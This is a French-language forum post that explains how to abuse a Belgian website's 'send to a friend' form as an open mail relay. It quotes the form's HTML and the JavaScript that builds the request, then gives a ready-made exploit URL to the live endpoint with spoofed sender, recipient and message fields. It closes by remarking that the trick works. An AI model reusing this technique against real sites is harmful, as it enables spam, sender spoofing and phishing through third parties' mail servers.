Bon, comme un petit exemple vaut mieux qu'on long discours, voyons comment exploiter cette faille ...
Prenons un site belge qui permet d'envoyer un article à un ... ami
Regardons ... comment il fait:
Le formulaire:
<table width="100%" cellspacing="0" cellpadding="0" border="0" class="Text">
<form action="" onsubmit="STF(this);return false;">
<input type="hidden" name="sURL" value="">
<tr><td>
Votre email<br>
<input type="text" class="Text" name="sFROM" style="{width:200px;}"><br>
Votre prénom<br>
<input type="text" class="Text" name="sFIRSTNAME" style="{width:200px;}"><br>
Votre nom<br>
<input type="text" class="Text" name="sLASTNAME" style="{width:200px;}"><br>
Votre commentaire:<br>
<textarea class="Text" name="sCOMMENT" style="{width:200px;height:64px;}"></textarea><br>
<br>
Email de votre ami:<br>
<input type="text" class="Text" name="sTO" style="width:200px;"><br>
<br>
</td></tr>
<tr><td align="center">
<input type="submit" value="Envoyer">
</td></tr></form>
</table>
La fonction javascript STF:
[code]
function STF(oForm)
{
sURL = '' + document.location.href;
if(document.getElementById('ifr_cediti'))
{
if(sURL.indexOf('?') == -1) sURL += '?';
else sURL += '&';
sURL += 'mturl=' + CWS_URLEncode(document.getElementById('ifr_cediti').contentWindow.location);
}
sPostData = 'sURL=' + CWS_URLEncode(sURL);
sPostData += '&sFROM=' + CWS_URLEncode(oForm.sFROM.value);
sPostData += '&sTO=' + CWS_URLEncode(oForm.sTO.value);
sPostData += '&sCOMMENT=' + CWS_URLEncode(oForm.sCOMMENT.value);
sPostData += '&sLASTNAME=' + CWS_URLEncode(oForm.sLASTNAME.value);
sPostData += '&sFIRSTNAME=' + CWS_URLEncode(oForm.sFIRSTNAME.value);
CWS_HidePopup('fo_SendToFriend');
alert(CWS_HttpRequest('/Mediabel/pop_SendToFriend.aspx?LG=1', sPostData ));
return false;
}
[/quote]
Donc pour envoyer un email du site il suffit d'appeler l'URL comme suit:
http://www.HIDDENURL.be/Mediabel/pop_SendToFriend.aspx?LG=1&sURL=dude&sFROM=me&sTO=- rfr@bigscammer.be&sCOMMENT=I Love You&sFIRSTNAME=Dr&sLastName=Wilson
Et le résultat:
On est pas dans la merdum ...